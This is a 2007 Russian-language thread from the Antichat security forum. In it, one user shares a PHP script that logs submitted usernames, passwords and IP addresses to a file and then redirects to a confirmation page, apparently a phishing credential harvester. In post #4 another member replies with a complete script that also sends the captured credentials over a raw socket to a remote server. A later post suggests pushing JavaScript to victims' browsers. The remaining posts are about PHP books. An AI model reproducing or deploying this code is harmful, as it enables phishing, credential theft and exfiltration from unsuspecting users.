ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 29.08.2007, 01:06
bul.666
Banned
Регистрация: 06.06.2006
Сообщений: 944
Провел на форуме:
3986705

Репутация: 1403


Отправить сообщение для bul.666 с помощью ICQ
По умолчанию

типа того =)))))))))))))))))
 

  #2  
Старый 29.08.2007, 01:18
halkfild
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме:
7084941

Репутация: 2277
По умолчанию

они просто автомотически регистрируваются как глобальные и ты можешь обращатся к ним напрямую $NameVar, а не как обычно $_REQUEST["NameVar"] (хотя так можна обращатся в любом случае)

вот некоторое описание http://www.slaed.biz/ini.core.html#ini.register-globals

вот по теме почитай http://www.phpclub.ru/detail/article/globals

Последний раз редактировалось halkfild; 29.08.2007 в 01:20..
 

  #3  
Старый 29.08.2007, 05:30
Tcl70
Познающий
Регистрация: 02.05.2006
Сообщений: 44
Провел на форуме:
122127

Репутация: 9
Unhappy

народ помогите я уже свои мозги тут перепарел :-/
мне надо сделать так что когда даные отсылали на "dvig.php"
он чтом прописовал в html фаилик у себя на хосте и на другом хосте типа : /logs.html и на http://site2.ru/logsbackup.html
вот пока что у меня тут получилось далше продвинутся с пересилкой никак немогу :-/

PHP код:
<?php
//////////////////////////
$file = ("logs.html");
//////////////////////////

$user $_POST['username'];
$pass $_POST['password'];
$ip $_SERVER['REMOTE_ADDR'];
$date date("d.m.Y H:i");

$entry_line "<br>----------<br>
    
    <br>Username: "
.$user
    
."<br> Password: ".$pass
    
."<br> IP: ".$ip
    
."<br> Date: " .$date"<br>\n";
    
    
$fp fopen($file"a");
    
fwrite($fp$entry_line);
    
fclose($fp);
header'Location: confirmation.html' );
?>
 

  #4  
Старый 29.08.2007, 10:43
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

Используй такой скрипт:

PHP код:
<?php

    
// Удалённый серв
    
define("REMOTE_HOST""somehost.somedomain");

    
// Удалённый скрипт (идентичный данному, только на другом сервере)
    
define("REMOTE_RESOURCE""blablabla.php");

    
// Порт - по умолчанию стандарт для HTTP
    
define("REMOTE_PORT"80);

    
$file "logs.html";   // Имя лога

    
$date date("d.m.Y H:i");   // Дата записи

    // Инициализация переменной с юзером
    
$user "";
    if (isset(
$_POST["username"])) $user strval($_POST["username"]);

    
// Инициализация переменно с пассом
    
$pass "";
    if (isset(
$_POST["password"])) $pass strval($_POST["password"]);

    
// Айпишник юзера
    
$ip strval($_SERVER["REMOTE_ADDR"]);

    
// Форматируем данные для записи
    
$entry  "<br>----------<br><br>\n";
    
$entry .= sprintf("Date: %s<br>\n"$date);
    
$entry .= sprintf("Username: %s<br>\n"$user);
    
$entry .= sprintf("Password: %s<br>\n"$pass);
    
$entry .= sprintf("IP: %s<br>\n"$ip);

    
$fp fopen($file"a+");   // Открытие файла

    
if (!$fp) die("Can't perform operation!");   // Ошибочка
   
if (!fwrite($fp$entry)) die("Can't perform operation!");   // Запись

   
fclose($fp);   // Закрытие

    // Если в передаваемых переменных отсутствует nosend или
    // она не равна true, то вызываем отправку на удалённый сервер.
    // Это нам позволит избежать замкнутой цепочки
    
if (!isset($_POST["nosend"]) || $_POST["nosend"] != "true") {

        
// Тело запроса
        
$query sprintf("username=%s&password=%s&nosend=true"$user$pass);

        
// Заголовки запроса + тело
        
$send  sprintf("POST %s HTTP/1.1\r\n"REMOTE_RESOURCE);
        
$send .= sprintf("Host: %s\r\n"REMOTE_HOST);
        
$send .= "User-Agent: DaMaGeLaB Crawler\r\n";
        
$send .= "Accept: */*\r\n";
        
$send .= "Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\n";
        
$send .= "Pragma: no-cache";
        
$send .= sprintf("Content-Length: %d"strlen($query));
        
$send .= "Connection: Close\r\n\r\n";
        
$send .= $query;

        
// Соединяемся
        
$socket fsockopen(REMOTE_HOSTREMOTE_PORT$errno$errstr60);
        if (!
$socket) die("Can't perform operation!");

        
// Делаем POST запрос
        
$ret fwrite($socket$send);
        if (!
$ret) die("Can't perform operation!");

        
// Читаем ответ
        
$buffer "";
        while (!
feof($socket)) {
            
$buffer .= fgets($socket1024);
        }

        
fclose($socket);

        
// Парсим на заголовки и тело
        
list($headers$content) = preg_split("/\r\n\r\n/"$buffer2);

        
// Если пришла какая-то лажа, то выход
        
if (strlen($content) <= || strlen($headers) <= 0)
            die(
"Send failed. Responce is not reqular!");

        
// Получаем код ответа из заголовков
        
$code intval(substr($headers93));
        if (
$code != 200) die("Send failed. Responce code is not 200!");
    }

    
header("Location: confirmation.html");   // Перенаправление

?>

Последний раз редактировалось groundhog; 29.08.2007 в 11:07..
 

  #5  
Старый 29.08.2007, 10:45
Talisman
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме:
1325772

Репутация: 517


Отправить сообщение для Talisman с помощью ICQ
По умолчанию

Если хостер позволяет - открывай фтп коннект на нужные тебе хосты и добавляй в файлы данные.
если на тех хостах есть пшп - и твой хостер позволяет переслать на них данные (гет/пост) то шли запрос на аналогичный скрипт.

или же делай это средствами браузера - подсовывай жабаскриптик юзеру и т.п.
 

  #6  
Старый 29.08.2007, 11:16
Tcl70
Познающий
Регистрация: 02.05.2006
Сообщений: 44
Провел на форуме:
122127

Репутация: 9
По умолчанию

to : groundhog
ГИГАНТСКОЕ СПОСИБО + РЕПА
 

  #7  
Старый 29.08.2007, 18:51
GlOFF
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме:
1845671

Репутация: 1338


Question

Вот хочу спросить какую книжку взять почитать по Php, с условием что синтакс знаком и все остальное по С++, а вот технологии пхп-шные именно и нужны...
 

  #8  
Старый 29.08.2007, 18:59
Red_Red1
Участник форума
Регистрация: 12.01.2007
Сообщений: 262
Провел на форуме:
4608122

Репутация: 874
Отправить сообщение для Red_Red1 с помощью ICQ
По умолчанию

Может вот это подойдет
_http://www.softtime.ru/bookphp/gl1_1.php
 

  #9  
Старый 29.08.2007, 19:05
GlOFF
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме:
1845671

Репутация: 1338


По умолчанию

Red_Red1 Нормальная такая! А то читаю вообще детские, тут чуть получше...
Ещё бы по php безопасности мануальчик подскажите плз...

Последний раз редактировалось xqwerx; 29.08.2007 в 19:42..
 

  #10  
Старый 30.08.2007, 14:21
inv
Banned
Регистрация: 03.08.2007
Сообщений: 313
Провел на форуме:
951141

Репутация: 291
По умолчанию

#стер

xqwerx
тут прям на чате выкладывали про безопасность...

Последний раз редактировалось inv; 30.08.2007 в 15:06..
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ